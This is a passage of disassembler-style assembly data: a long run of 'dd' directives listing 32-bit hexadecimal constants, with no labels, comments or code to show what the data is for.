		dd 677D19F2h, 8CA23835h, 0DC0A7BD5h, 1853F385h,	6BF32060h
		dd 0A5E20BDEh, 0D89E3C78h, 0A9C259DEh, 347A68A0h, 37711BFh
		dd 7440D06Eh, 3CD777B6h, 9934EF8Dh, 87BFFA98h, 0E275104Ah
		dd 0C7EFA5DFh, 46B70CE6h, 0AC37EC82h, 34F66A2h,	99F3F13h
		dd 0C397CB20h, 10AECE02h, 315A1829h, 0B7FF555Bh, 0E87BA1B6h
		dd 70EF3874h, 3326F01Dh, 54AEDD0Ah, 3FBB5ABEh, 150B8602h
		dd 230322F6h, 4E638B67h, 5DA39F20h, 0BF17AE21h,	0BFFA4CB1h
		dd 0C5F459E1h, 3A5A0168h, 1DA93D6Fh, 0B08CDA59h, 0BF34DCA1h
		dd 4C50DD29h, 246AD109h, 0B3FAB5AEh, 26E3CC4h, 46CF3350h
		dd 0D1DECA10h, 9A378EA3h, 2A7C3Fh, 1DD2DDF6h, 0DDC1F9FBh
		dd 0C3DBE0FEh, 5BDCA2F0h, 703BDDE5h, 0E9A40C44h, 8577F88Dh
		dd 51BE5CC5h, 96169AC3h, 2164C8CEh, 9FB31EDAh, 644B04Ah
		dd 0F063984Ch, 0D65222CDh, 2CA7E3A8h, 0B5541694h, 73DBF74h
		dd 74704E37h, 2DCDF08h,	0D518D0FDh, 942D790h, 39F3524Dh
		dd 0CAE83338h, 1E759A71h, 8F6C660Eh, 0EF84AA4Eh, 0AD49E369h
		dd 0DBD7A4Bh, 76627488h, 51761E38h, 5FC39A80h, 571C4624h
		dd 3EC5AC01h, 0FF73296Fh, 270D8A74h, 0C8670F5Ah, 0B21518Bh
		dd 0EEBAB7B4h, 0E775A6D6h, 8D4D97E2h, 245938CDh, 5688761Bh
		dd 0DC8B40F1h, 7DECD301h, 0D581B573h, 0FC7D7EA8h, 5A7A14EEh
		dd 0BEFB7F6Ah, 0D721C65Eh, 0B74CEE88h, 62005F85h, 0C2B3CAE6h
		dd 6AFBBD88h, 0F8092A7h, 0C8C25B10h, 628AEAA8h,	827CC1E2h
		dd 9F9ECD7Fh, 93AA15B5h, 34E0E3D3h, 58740AC6h, 0E0678B86h
		dd 1E5C3AF5h, 3C92EC45h, 82D93967h, 7D5E3E81h, 0DE1BF926h
		dd 0C77C2E53h, 0E3B3F2EAh, 0C6C9E49Bh, 0EDE166A8h, 0FC959C4Ch
		dd 35B17408h, 9DF124D5h, 40E40B27h, 41FA4D17h, 0CD0509CDh
		dd 0D36759D3h, 0BA7F313Ch, 51A3E637h, 0E12FA005h, 0B66DA24Ah
		dd 25BE331Fh, 8649F97Bh, 0B626385Ch, 44F1F2F9h,	0D43EDA68h
		dd 9C8C3175h, 0FF9DC267h, 11BC7ABEh, 3E4766F1h,	0BEE93019h
		dd 17387C15h, 0DCA17728h, 0A82863Ch, 0A268C094h, 23B3355Ah
		dd 9B442A12h, 8F92A726h, 9D9ACBEDh, 6127E298h, 59B416E0h
		dd 797799B3h, 86021270h, 0E21B9137h, 911F47E5h,	0E7BD7B5h
		dd 8331E41Ah, 0E8648130h, 6EEC91D8h, 1403A71h, 9DFEFDEFh
		dd 0CD9C197Bh, 12C0F3BEh, 0DEA87859h, 0BF13EA76h, 305301F3h
		dd 0D9268C2Ah, 0D5C22C7Ch, 27BF8E34h, 84F0F72Fh, 0D734C940h
		dd 30204D13h, 7DD5DA89h, 6AF1994Bh, 8F14C5EFh, 74A76038h
		dd 5DD90538h, 0F57C8EE0h, 242DD3AAh, 0C073A00Ch, 86D08B98h
		dd 0CB3AE89Eh, 0EF4C8210h, 0B470EE0Eh, 39130398h, 0DCADA2A7h
		dd 0C52FBED2h, 6B566FACh, 7B7062AEh, 0CB98A4B2h, 7CECA351h
		dd 0A27CEC74h, 2DC31CF7h, 0EC9B376Ah, 0E5EA4319h, 5AAB8E7Dh
		dd 1764BE34h, 910099C8h, 945BF02Fh, 898070D8h, 0E1D2CB49h
		dd 44977A60h, 543B2CFEh, 0A21DF063h, 36747E39h,	0A8E96FF6h
		dd 3410CC3h, 8FA9ABCEh,	1FD1EC9Fh, 1295276Dh, 0E5572093h
		dd 0FE9EBBC7h, 82C20565h, 57D3812Ch, 815FA3BBh,	6CB88F9Fh
		dd 64EFDA2Ch, 5097C052h, 41F68A56h, 0FE51EB4Eh,	46522F13h
		dd 0FCB25809h, 0E6374C72h, 8C73E605h, 0EEC67C82h, 0B5090429h
		dd 1E4A8A94h, 0F401F1CBh, 0B8DB8210h, 4B54F6C2h, 0C90FF45h
		dd 775D391Fh, 0AFA10B8h, 0D9662FB4h, 8BAEC4A1h,	2C82DC5h
		dd 0CFF05531h, 94765D1Bh, 1E6B6C57h, 6E54EFEDh,	0B7221E9Bh
		dd 92D19ED2h, 993B4E45h, 6F7EF3C6h, 0D644BAF4h,	0D5B02D90h
		dd 0E13711CCh, 0F6891856h, 8FE3B0F1h, 0EEEFD58Bh, 22DEB09Bh
		dd 0C3701D3Eh, 352C06FEh, 0CCBA4197h, 0B97F7DD5h, 0EDD6F799h
		dd 82EE09F4h, 470D705Bh, 0ED22298Dh, 67C6351Eh,	54CC48C7h
		dd 96DA869Fh, 7498C6F6h, 0FE0624F9h, 25DB431Dh,	37DD43DEh
		dd 4136DA34h, 9C3CDEAh,	653EA17Eh, 234FB856h, 8EE28F54h
		dd 0A1F2A7AFh, 0ADE4943Ch, 33FB43C6h, 4EA2046Ah, 0E1488171h
		dd 48D8B200h, 450A152Ah, 446725E3h, 0CBF169A1h,	4971052Dh
		dd 578ECCBh, 0C472545Ah, 5F5C71C8h, 0C60941A2h,	3A67B390h
		dd 0DE0F82F9h, 6BF134E4h, 0B96E6285h, 4D20D1A8h, 0AD932727h
		dd 48D3CE0Dh, 0B37FA82Ch, 58D4C8DBh, 0EA7930A3h, 86ACCE35h
		dd 0B80C0AE6h, 7D09026Ah, 0B0843A1Ch, 683E656Bh, 0B08AF1D8h
		dd 0EB81C48Fh, 5F94E463h, 2C2D15B0h, 4C6F32DBh,	0CFEA1C44h
		dd 0C9E4B9E5h, 0AFC248C1h, 0E53D6412h, 0F6F13DC3h, 0BBA070CBh
		dd 0FBFA515Fh, 0A0CA4EB6h, 69E7437h, 26920729h,	0BE2F67BFh
		dd 0DCEDD691h, 379746B2h, 0D1C8E309h, 481C4E8Dh, 0F251CE20h
		dd 78A927D6h, 59A52DBh,	1723B0E7h, 0B0DC7535h, 47B5B4C4h
		dd 4CE7247Ch, 27D13A9Ch, 7F1F2B8Ch, 4CE01D6Bh, 7A11FAC9h
		dd 60BF0185h, 2D11C9EAh, 563EC54h, 35E2AE67h, 0BC695375h
		dd 0D9AC858Dh, 61BE973h, 6D832FD6h, 0B9305E0Bh,	95B3FF4Bh
		dd 777AD887h, 6DFD8727h, 9A9C7946h, 3FC98C31h, 7EA38D4h
		dd 0E44930FBh, 3D8327FEh, 0C68A575Fh, 4DE8D7F9h, 0E2AEEA45h
		dd 7C6B45C3h, 0E193F614h, 4B67F9EBh, 39869326h,	0AC2B9DEFh
		dd 137FF28Ah, 5FFBC0Dh,	0D2B29054h, 6CDA34AAh, 0C76EB36Dh
		dd 6BB41222h, 1C061B70h, 56778291h, 757CA16Fh, 0E5998D7Eh
		dd 3E10EDE4h, 2B126C28h, 0BE3D76C3h, 9E9A3F4Fh,	3A211AADh
		dd 0B5A94C61h, 48B73DCEh, 0C8818954h, 0FAFBC0E2h, 0B8DB60EBh
		dd 7FC0345Fh, 0F6202455h, 3744198Ch, 0E4C809D5h, 0B916B51h
		dd 45CB8342h, 581AE2Eh,	199EC08Ch, 4AD3A060h, 0A4BD3B21h
		dd 1051B537h, 0FE8D2143h, 0D0C6A211h, 0EA6BA6BAh, 37D70322h
		dd 1687C8C7h, 0B81D057Dh, 0CCA9848Ah, 257E6ABDh, 229B73EDh
		dd 0DCFD9E7Ah, 0DF83EA4Eh, 0C768CBE0h, 64D55A63h, 245F6B12h
		dd 0AD4ADEE6h, 590F91EDh, 25B5662Ch, 1F261E81h,	61CB26F5h
		dd 8BFD9C66h, 53F468ACh, 0B505EB8Ch, 0E4F6987Ah, 4551B9F0h
		dd 795A613Fh, 0F0BA1F6Dh, 0F5273E0h, 0CEE569F9h, 0C1EED4FDh
		dd 94B085A3h, 6705E791h, 3351FEB4h, 11B3EF52h, 20B12798h
		dd 85E8C952h, 356A1388h, 273B5FC3h, 281A7768h, 0C4FC8D86h
		dd 8B48A07Ch, 2F184395h, 0C31E89D2h, 0EB4ED40Eh, 0F4F9D7C2h
		dd 0F4F8EA25h, 64EAD37Ah, 36FDB63Fh, 2AE95029h,	187FC806h
		dd 407D5DBEh, 67ADF1FDh, 98666B48h, 5CE6A9C7h, 992D5C71h
		dd 0E7460BECh, 245CBC0Bh, 0FB302EC7h, 8A260D5Dh, 1F740002h
		dd 211048FEh, 0ED7D890Eh, 838BC355h, 0BAE66D9Dh, 9FB347FAh
		dd 98375068h, 1D8B4417h, 664387Fh, 334BE3DFh, 9FD0561Bh
		dd 0E781631Ah, 0D5E2D878h, 531FE6A1h, 78E53810h, 0F4A4DE03h
		dd 69B4559Eh, 0F1818DA1h, 982EE4BEh, 0B8AE0447h, 5A9CBE06h
		dd 0F4DF9163h, 9E03AB25h, 0F23AA776h, 7805E7FDh, 0D0E8636h
		dd 0EA67F9C0h, 0F1503441h, 6679337Bh, 7105E571h, 0A2F90A89h
		dd 0CF56AC2Fh, 28443CE9h, 0F3311066h, 8EB4711h,	0B46A1A7h
		dd 9D559303h, 880D5DF3h, 54B826Fh, 1C8CAD3Dh, 0B66BEF3Bh
		dd 89080CD8h, 0A6F1B4BBh, 727E6D0Ch, 82C7CF64h,	0C262DF47h
		dd 78BC6A32h, 49004A0Fh
		dd 79BC2A44h, 0BA753A4Bh, 7C78177Fh, 0C6392836h, 0C197A48Fh
		dd 5874072Eh, 0F6C993F2h, 77E1674Eh, 0BE553548h, 6FF41BFFh
		dd 0F5850CA6h, 62853D04h, 0D00DBCF4h, 280FF6E2h, 7D582044h
		dd 3D677A0h, 43359B03h,	0DF76DD0Bh, 3D4E0792h, 15D2A065h
		dd 10D2D34Eh, 43D99A5Ah, 0DA9D3A80h, 80D2603Ah,	0CA341259h
		dd 0D40E237Dh, 3C7DBB77h, 5CCA3CC1h, 0F73A402Bh, 827F6E62h
		dd 1B39BBC7h, 6C5CA00Bh, 5089FB43h, 91880F64h, 5A5DECF4h
		dd 6BA37FCFh, 0DFD06F31h, 1E4C859Ah, 0FA339109h, 44D4EA6Ch
		dd 35412917h, 3463F65Dh, 312D5C46h, 3EDE1325h, 0EFC021C5h
		dd 0A353FAFAh, 75A1E45Ch, 3F9836ABh, 65B7468Ch,	410781F9h
		dd 1DCEAE11h, 37C8EBh, 0E939D4CDh, 15874F33h, 953E74CEh
		dd 98CD0ADCh, 3392C68h,	2298BB2Dh, 1E709E10h, 45DC7730h
		dd 4B5F31F3h, 240F2DE4h, 501ADB86h, 13D6FC17h, 0A0306B7Eh
		dd 0A8873BE7h, 14088DABh, 6AD15723h, 3B7AD296h,	6AC41B78h
		dd 5A5F077Dh, 98194F43h, 63AF85BBh, 887ADDEAh, 0CA86709h
		dd 1A0B83D2h, 6FF4D132h, 68577907h, 60395CC8h, 0CDEEBDA0h
		dd 0E3BD43B1h, 65477A5Bh, 0F6E6A698h, 0C3D4DCCh, 0E6F6C6E0h
		dd 6946251h, 0E055FD4Bh, 0F218FFF5h, 3EB2F829h,	0FCF2350Ah
		dd 0ACAC4113h, 0B1903A4h, 281C6Dh, 3084A5F2h, 765FB835h
		dd 6367D0A3h, 0EF170226h, 9177DBD5h, 8BA8BEECh,	62177278h
		dd 474C4E92h, 0A4E9142h, 33D1005Ah, 42043828h, 0FDA7A132h
		dd 0AC3ECD96h, 2539D5CAh, 0DD3281FBh, 0D1EEE24Bh, 361D058Ah
		dd 0D28DF2DDh, 858353A3h, 0BE2BDEFBh, 67C1BFC1h, 84F070FBh
		dd 0C3F1958Ch, 3755C83Ah, 0D1026DFBh, 42F3687Dh, 318E2EF1h
		dd 0DE820C07h, 0CAFD8609h, 0F252D4Ch, 44441236h, 922C9CB3h
		dd 0F55D870Fh, 0EE06CF61h, 5DD7F501h, 308D5A46h, 0A28F4909h
		dd 2FF1F962h, 77529360h, 0A98054E4h, 57014F73h,	0B4193FE4h
		dd 5C21786Ch, 6C876CF8h, 0DFFB776Fh, 1C1F1F8Dh,	7086B303h
		dd 0C28C0335h, 0A3F2210Ah, 307959E1h, 0A06DCAAEh, 0B2483EEDh
		dd 78E3EF69h, 30620F03h, 0D1BD2DE1h, 44B3A70Ah,	0C121074Eh
		dd 49BF4ADCh, 6F0FC03Eh, 0B723AE27h, 946DD99Dh,	0DE7525A7h
		dd 0F5BA7E9Ah, 6E5BBF8Eh, 9641D012h, 732BC4EEh,	50320E9Bh
		dd 29ADB30Ah, 36142FE1h, 57C766D9h, 31F0EB48h, 2E6327A3h
		dd 0D568851Fh, 334C304Ah, 55E52F64h, 0F56BA2ABh, 4AB40482h
		dd 917E4BA4h, 0F9CE6E8Eh, 56BFC135h, 1B1BDB52h,	0DA578993h
		dd 1A02AA1Ch, 36B7B565h, 67628B4h, 0D675E18Dh, 29B291EBh
		dd 0A1369B8Eh, 0FF602D5Ah, 15C24649h, 92791F0Eh, 94C29451h
		dd 0D3CBE113h, 0B8AEA3DCh, 0FF4B48D3h, 91262F8Ah, 0A292FC02h
		dd 0AA9DD323h, 8330238Ah, 192C63D6h, 12403797h,	0E9B2ECCDh
		dd 426DBB3Bh, 7A9A2D3Fh, 0B626DBF8h, 0FECB22A7h, 309BCD65h
		dd 0E2556F53h, 0C42E49F7h, 709BD43Ah, 0A5F2069Ch, 5B733B7Dh
		dd 68E9A53Ch, 5AFCEC69h, 9CD3D018h, 7B6E54Fh, 0DB25067Bh
		dd 0C268D218h, 0B73A5BA4h, 0EC46E5ABh, 11D39C11h, 0FB221C57h
		dd 8DA2FB94h, 7E34F4D3h, 1703BB42h, 560ABB1Ah, 0DFB5B414h
		dd 2461C09Fh, 0C2852E7Bh, 0C3F4E20Fh, 0D2799764h, 0AA56215Dh
		dd 97777669h, 88AF03F5h, 409627h, 0A1A5371Ah, 0CEB26EBAh
		dd 0B80F1AE6h, 991C1D1Eh, 0D582E300h, 879A368Fh, 0E0B1DB39h
		dd 0D92358C3h, 55625A1h, 24C60DF1h, 90511C57h, 5DA0BB36h
		dd 0B5870A8Fh, 0BF2E69B5h, 0A4F0547Dh, 726A667Dh, 883CE5FCh
		dd 0F6FE1F48h, 881ACD1Ah, 11A95338h, 4EC3576h, 9C370640h
		dd 3EA1BD2Dh, 3F23E9E3h, 983A98DCh, 5F7A6557h, 3871AEA6h
		dd 0A42814B0h, 79CB93BCh, 0CAD066B9h, 0A20D62E7h, 6A4B47FEh
		dd 5396AD3Dh, 87C7D7B5h, 7C1787C7h, 0E8EE3E9Eh,	95C601B5h
		dd 0EDEBF77Ch, 63BA9252h, 1E0CF81Dh, 711A6D0Bh,	667B5E48h
		dd 23BFB37h, 0A37DC846h, 2429386Dh, 9569A20Bh, 3EDBD7E0h
		dd 0AFE9A6E8h, 4D8D86D7h, 0DE48853Dh, 1C49B14Fh, 0E5D4C47Ch
		dd 1EBA4EC1h, 71ED09Bh,	0C0E4094Ah, 0D39D898Bh,	78D1ECAEh
		dd 283A1188h, 0C3BBB012h, 699321C7h, 722807Fh, 50E515A0h
		dd 0D8D779A3h, 0EA574507h, 0E926182Dh, 5091B468h, 6BE9B2F5h
		dd 0F5E7C8F5h, 0F6016A29h, 0C60F0BF4h, 0F1112012h, 7C562E89h
		dd 0E444811Bh, 0C10DDBF5h, 0F3F7D911h, 0A65CF071h, 29857800h
		dd 4281557Ah, 21B6B167h, 27AC05Bh, 30B6F944h, 85C513E9h
		dd 0E45EF349h, 332CFFA7h, 37CFFF66h, 1148E7BEh,	1A3E3CE6h
		dd 0B380EC04h, 2F2D5D5Bh, 33B0EA0h, 0A4251630h,	37C355FFh
		dd 45A08CB4h, 459E9507h, 1896FAADh, 1C291DC5h, 9FD897E2h
		dd 0D58F7028h, 0C4011E69h, 843DEB98h, 0DE1F2615h, 1F202F50h
		dd 875B5D6h, 0D9391700h, 0E0B37638h, 61E456AEh,	0D529510h
		dd 1E2837FEh, 0F72A0705h, 6FB3579Bh, 0D86ACA09h, 0FDBEB5D8h
		dd 0B0BA639Fh, 0A6DE7415h, 7A5E7F0Fh, 231F91CFh, 0C7055FAFh
		dd 4AD24019h, 839BDD10h, 0B9BBA589h, 0EEEB7555h, 713A2EF1h
		dd 6784E5E0h, 1ED5CEFEh, 0E348A01Ah, 51B326EFh,	5575DF48h
		dd 540CA79Ah, 8645B3DBh, 0D81DF02h, 338C1DFh, 657A707Ch
		dd 0CF2C8129h, 5392A343h, 0D4746491h, 220B5550h, 0C2B7782Ah
		dd 0D4DF3434h, 13A979A7h, 292E9C46h, 7F76D27Bh,	6A5A7018h
		dd 81641B36h, 6DAA058Eh, 0EA525418h, 0CBB85A31h, 43B6C88Dh
		dd 58C42D2Bh, 9FAA4773h, 9F206C16h, 3897355Fh, 0E95A4A02h
		dd 6317119Dh, 7B37E60h,	33077CE3h, 75DFFBD5h, 3D65646h
		dd 136227DEh, 4BFE7BEEh, 3A58E831h, 0DD1C12ADh,	7C053EC1h
		dd 95743ABAh, 2F35956Fh, 335A5A2Ch, 9A2E3B16h, 11AA9ABBh
		dd 12B8BECFh, 0F9D4E998h, 50716FDFh, 0E6BA47D0h, 0A6A0DFBCh
		dd 723B8182h, 97946241h, 29650457h, 61277D09h, 0B998D0B8h
		dd 1120A9A2h, 32EEB675h, 0EDA7A118h, 0ACD88E44h, 51D49257h
		dd 0A5A05376h, 2D5AFE19h, 0E817B866h, 0D7E7FEEEh, 26BCEC2Ch
		dd 0F6FE1439h, 5A3F2FC9h, 31C43241h, 0E20902BBh, 0EBECCDD9h
		dd 60FE609Ch, 7EA58E48h, 6DBD8E0Ah, 1AADABEFh, 6968C05Fh
		dd 25D8B478h, 9C405B7Ah, 59D46571h, 2348E748h, 1850E4C5h
		dd 1933E8F4h, 0DF568D68h, 3568C106h, 0ECC2A02Ah, 41811155h
		dd 0D979B774h, 8B4660CBh, 9BD27649h, 0C844E743h, 18CD2B93h
		dd 0AFF80DC9h, 0F7FCB6A1h, 5A6F4EAAh, 6AEBAB0Ah, 9D5837A4h
		dd 9632152h, 8208907Bh,	0B3709DCh, 3D6AD55Fh, 0A4D1089h
		dd 6186E3C6h, 494592D0h, 0E09808B2h, 7921EBF0h,	0F36F7221h
		dd 865B983h, 0AF903D0Dh, 224A2591h, 0FB1D3FEh, 8379686Fh
		dd 2F51152Bh, 0E88A456Dh, 0F5DBDF7Bh, 64854FCAh, 0A6DCDB40h
		dd 61D35D95h, 2648046Fh, 6233A946h, 4125C647h, 528111BAh
		dd 42CDC49Fh, 863A046Ch, 0E3ED6570h, 6A25F3E5h,	4FEC8828h
		dd 45FCEF5Dh, 2A4E8B99h, 0B05468BCh, 707A39B0h,	6D580E1Dh
		dd 553C7BB9h, 4EA42871h, 0EED2A95Eh, 0DC9816B9h, 56C15F7Dh
		dd 7F295057h, 8DD323F4h, 55DEE51Dh, 0FE42E88Eh,	0C56C30Dh
		dd 4F798468h, 0BF787645h, 0C1DA6767h, 9434D02Ah, 424E67E6h
		dd 109BCC67h, 65926061h, 0B2A6DB98h, 0A662E478h, 0FC8E9030h
		dd 0F8AF82AAh, 49E9D69Ah, 0FDA4A596h, 4AAADA18h, 0F23631AAh
		dd 29B9E75Fh, 4B742D69h, 9CA34DEFh, 0BEFCB408h,	38326C22h
		dd 0E14965D7h, 5EA84EB1h
		dd 320DDC02h, 31462249h, 0CF08D9AAh, 952D138h, 5B2FA32Bh
		dd 1696964Fh, 3E065AEh,	0BDA1D2DFh, 0DE50E918h,	98C1D545h
		dd 64E51C64h, 1FDFB328h, 0B829D281h, 0B3F98879h, 0EE79B9Eh
		dd 0A656035Ah, 7C93D3Dh, 0D48E2693h, 725E2964h,	3D8327EEh
		dd 74E0860Eh, 0D6426676h, 4FB5CBBCh, 4352B8C8h,	0CD93B59h
		dd 1B9EFBE7h, 2230C17Ah, 78EF1381h, 0D5E4D6F1h,	0D791DC98h
		dd 8E3D397h, 1ADA0083h,	9C1C9F94h, 4AEB65E5h, 5A30E2EFh
		dd 0A14448B6h, 0F8A8F521h, 62D41425h, 0C7F94AE5h, 0EE58F048h
		dd 8D5EC4B7h, 83C04C87h, 0AFC840ABh, 1BEA0B57h,	0B5944BA7h
		dd 7BEB108Dh, 0E852EA19h, 0D4C2EF51h, 0C12DAD4Dh, 8D5C3A74h
		dd 4A41A1A9h, 9BF363B6h, 0C9FECEBEh, 1F7E02CBh,	0D6FDAA43h
		dd 0D20BAD2Ah, 7FF1041h, 93F87DBDh, 0B0E53962h,	2043654Bh
		dd 0E48C2AE9h, 55BCC357h, 51F35E7Fh, 6437DC13h,	3E3C8D28h
		dd 329680D5h, 4253D655h, 36992C66h, 0EA584475h,	0E6921EDCh
		dd 8B583AC6h, 15E3D0E1h, 5BE7CF2Ah, 5892AF98h, 8A80986Fh
		dd 0F545C699h, 0F24D8A92h, 0D28DB9C4h, 69023FA1h, 0D0018C77h
		dd 786D7AE2h, 0AB90C86Ah, 0CD73C424h, 99E162BAh, 0D59A4C30h
		dd 1C66EEE6h, 45C13520h, 7476C615h, 0D67571FDh,	7ACA3892h
		dd 0A86DE927h, 4DFC0702h, 61000555h, 964D48F2h,	1379A73Fh
		dd 59E4BCB0h, 40362B68h, 9005205Ch, 0BC274DD3h,	712C7065h
		dd 0BD753EFFh, 0F5516613h, 3D41202Ch, 0B65F4263h, 0D06D67CAh
		dd 0F7A86A37h, 115421FDh, 0E2B3239Bh, 32072C4h,	0C4A315E5h
		dd 792887A3h, 0BBE80787h, 60AE9FFEh, 4614A4A8h,	5FA862AEh
		dd 0F2DD5426h, 0C8CD9C1Dh, 35075BE6h, 80E543FCh, 2D6D51DBh
		dd 0CD3FA535h, 0F8021842h, 69D3657Dh, 0CC6D75C9h, 23BEE8C3h
		dd 58E7DDFEh, 4FC6618Ch, 0FE85E52Fh, 0D201CDBDh, 8B2C3765h
		dd 0D6D5F3DEh, 80C3B1ACh, 5C9830Ah, 0FD5BFC91h,	0D7445DB7h
		dd 5C89B1FBh, 0E6FEF7F7h, 5A0FEC4Fh, 0F3F06CE7h, 95C6FC2Ch
		dd 365F90C6h, 0B201F03Ah, 0CC6A5427h, 5BEE77BFh, 798A38D0h
		dd 2871821Bh, 0B993165Dh, 456A6270h, 2AA386CBh,	54823ED7h
		dd 0C45CFD27h, 0A4B21C16h, 1336A58Ch, 0F22336CCh, 4B4557Fh
		dd 168D63E2h, 36C5491Bh, 0CA9E2025h, 0BFF30310h, 0AE99D2BDh
		dd 25EA1B1Dh, 0BF5BF04Ch, 0DA876552h, 856F7330h, 0BE7E79BCh
		dd 0D36E9248h, 7D565E7Ah, 7B8D36D9h, 39241AF6h,	0DCD2419Eh
		dd 8FD7CD19h, 0E5411102h, 0A758F9Fh, 0B6231C6h,	12D4F8A1h
		dd 647FE2CFh, 5FF343BCh, 0B5A6B0A8h, 0F8D54F8Ah, 57F90D73h
		dd 2EA67D5Ch, 4ACBD4D0h, 5ABF0Dh, 0D21048F4h, 2DCA0487h
		dd 1C47B370h, 3E1CA0D5h, 53A3C2A2h, 0BB54ADC0h,	0CF674BBCh
		dd 7AB24915h, 0FEDE31A3h, 0D85F98Bh, 68081C48h,	26E5BADEh
		dd 0D5E3FCF6h, 34162676h, 2C06E41Eh, 496D6B26h,	4E63617Eh
		dd 0BBBE1D03h, 180281A5h, 6E8DFDE1h, 2B3E763Ch,	3AF53A03h
		dd 79EB5A61h, 999A00BFh, 0A97A2D59h, 5B02B632h,	0EE5C712Ch
		dd 6682E30Ah, 738A8B05h, 0E727AC0Dh, 679F1F96h,	302A0550h
		dd 9134F6B4h, 7E061CE8h, 0AF848DF6h, 1DCFFC3Dh,	0F0302DA0h
		dd 2B753D4Fh, 4D0D144Eh, 322D10F8h, 0BC5DD435h,	11F9EC77h
		dd 4935C74Bh, 2760B3Dh,	0D70123ECh, 3C41BB5h, 1E6AE291h
		dd 10D8BA29h, 0F0A60A2Ch, 572953Fh, 74178359h, 0E08095D6h
		dd 477629Ch, 5ACE7405h,	0C419670Eh, 13CBFDCAh, 27953A94h
		dd 2704930h, 59F7E157h,	35942B0Eh, 1CC9662Eh, 0D8F0E4C0h
		dd 0A96949F6h, 0BBC1EC31h, 41F2E3C2h, 8628C1D7h, 7F96F16Ah
		dd 8A4A5447h, 6B3DABA2h, 13D2C8ECh, 1C14B30Dh, 7E8C6672h
		dd 0A0D8DBFAh, 70262FBEh, 1E862BCFh, 7E0892D1h,	0C502E962h
		dd 3F09EDB6h, 98D59E1Bh, 7F632F25h, 24546C98h, 483C5BE4h
		dd 8E690112h, 6A5CCEBFh, 6DE6F089h, 0BC467646h,	0E1673475h
		dd 8845A433h, 6683E311h, 0CB7F721h, 9AE67BD5h, 7667C37h
		dd 0DD1DBC70h, 0F35E0950h, 705F3C75h, 0DFAABD9Dh, 0B7089CA8h
		dd 1AD32CB5h, 775346BCh, 40A8CBEFh, 0E95846D3h,	3B8E21EFh
		dd 0B8F0DBABh, 4C1F22EAh, 31A00DFDh, 7F906967h,	0EFC41C02h
		dd 7BEA05Dh, 0F2F07A0Dh, 0BD341947h, 0ED0CA28Ah, 0A13DC11Fh
		dd 4FE8BAD4h, 3AEE42C3h, 5BE178BCh, 433BA5CBh, 5D97CA25h
		dd 0F4EB6925h, 0FD885107h, 6C871754h, 3F3B82ECh, 0BCE272AFh
		dd 0F1D570EBh, 7DE991B9h, 21808C0Fh, 7A1853E6h,	0C615519Eh
		dd 0BCAE3A8Ch, 9173ABBBh, 0CCFDFA21h, 0B59A325h, 20B19764h
		dd 86530DABh, 1CEEFCB4h, 0C7CF934Eh, 0E4552B64h, 9ED2E166h
		dd 52E31F2h, 0D6C82B62h, 0A39C4E20h, 0DC20DB9Dh, 2A464CB2h
		dd 0ACA4EFEAh, 50C5B2C9h, 3B2F1ECDh, 1D5921D6h,	0DC6E6124h
		dd 899B67F8h, 6C132188h, 0F3994359h, 1B645FE1h,	3BD16C28h
		dd 0C170BAC5h, 0AA38EF1Fh, 965903ECh, 0CBA44ED4h, 7CBAB63Eh
		dd 3C8977Dh, 2AD5E768h,	0DBAF294Ch, 6D3B3DA4h, 6165D138h
		dd 26F0361Dh, 7F026518h, 0AC78289Bh, 4B6D6B44h,	9C6E59AEh
		dd 38C804A9h, 0CEB65D83h, 0D20A8AFEh, 0A1C5943Fh, 0E360CDE7h
		dd 0F785ECE3h, 0D8AC447Fh, 894A3CB0h, 66B12F39h, 9D50BB9Dh
		dd 0FC3CEB32h, 0EEE16043h, 0CE1D5EE7h, 0DE7CF9h, 7F2DAFD9h
		dd 0C8402829h, 0F7B6A5D3h, 182BC2Ch, 0EC59B426h, 356610D5h
		dd 0A4618A5Dh, 2C043A53h, 0C197A81Eh, 1A8FE6Dh,	0C1B9F95Ah
		dd 0FA0E463Dh, 2AECA4BFh, 750E60FEh, 9EFC1950h,	5B21DDADh
		dd 791948DCh, 0F3969BE5h, 8B253128h, 687E11Eh, 28AB2C5Fh
		dd 0DB2F7348h, 413738DEh, 9EE25817h, 0DA14C82Ch, 9D8ECBEDh
		dd 0B6A87F00h, 98587C7Eh, 65C224Fh, 1A5DA30Eh, 1F8457A3h
		dd 93F09D1Ch, 19134597h, 6E8E6198h, 4E6681ACh, 0D0414B03h
		dd 73467F03h, 37C80B98h, 0D97A7633h, 4CA3A481h,	7B796515h
		dd 0ED689F75h, 23533EE7h, 7D2D0B9Dh, 356CB39Ch,	23DCCC4Ch
		dd 46076722h, 830558A2h, 0C011611h, 0B1AC8E86h,	0BF662812h
		dd 8ABC8353h, 0C3ED6783h, 60BFBEADh, 0E7E6FE67h, 655F91FCh
		dd 0E725D7DCh, 0C3BE671Dh, 6CAEAD04h, 4E4F8D8Bh, 3CE22D17h
		dd 0A0F415A8h, 0B3F15F28h, 6443C811h, 0A0F5BC48h, 2F356CE4h
		dd 0F513C5A6h, 0D0F2C31Eh, 0DC36B5E9h, 0B2C15F1Ch, 431373A2h
		dd 7E36E087h, 0C0562C16h, 0B6F2F2h, 903C5372h, 230805CAh
		dd 0C46E6ABEh, 0F8F0C379h, 778FBE1Ah, 0A5B671F1h, 0FB13C275h
		dd 867741F3h, 0B5B44171h, 845BC41h, 4EC2616Fh, 6C0F4A90h
		dd 3B7C8F59h, 4BE65DC8h, 18319AFBh, 0C0AF8CBAh,	0F5E41F9Ch
		dd 82E6BA54h, 9E24846Bh, 3D783B42h, 489761A4h, 647F362Ch
		dd 2FB94E3Fh, 0D5ACBF50h, 0C9E03556h, 316CD60Ah, 779ACEDAh
		dd 504860E0h, 0B51C0EC9h, 4A0CC2E0h, 0F3935371h, 0F551AB15h
		dd 8949DEA8h, 0EC07261h, 5322A157h, 0AFD9493Ch,	618429FFh
		dd 164D0334h, 9F04A5F5h, 5502071Fh, 74969AEAh, 0BE824775h
		dd 30B81D98h, 2F176B62h, 0B5A3D26Dh, 34EBC234h,	500C3CC0h
		dd 0D1B77637h, 0ECD5B27h, 597149E7h, 16D98432h,	68BC677Eh
		dd 0E172C9A5h, 778A289Bh, 0CCF76253h, 9E853B21h, 5608AEB1h
		dd 5C8B469h, 5CE5800Dh,	0E4759DCAh, 7EDE7C11h, 0D148BA10h
		dd 5625A4C2h, 76E7ABD6h, 7D3C55Ch, 0E3AD8EE3h, 0E81C296h
		dd 0D969C040h, 0E9B64D39h, 3489A86Eh, 798798A1h, 1F7BAF60h
		dd 0F98A03B6h, 861F522Ah
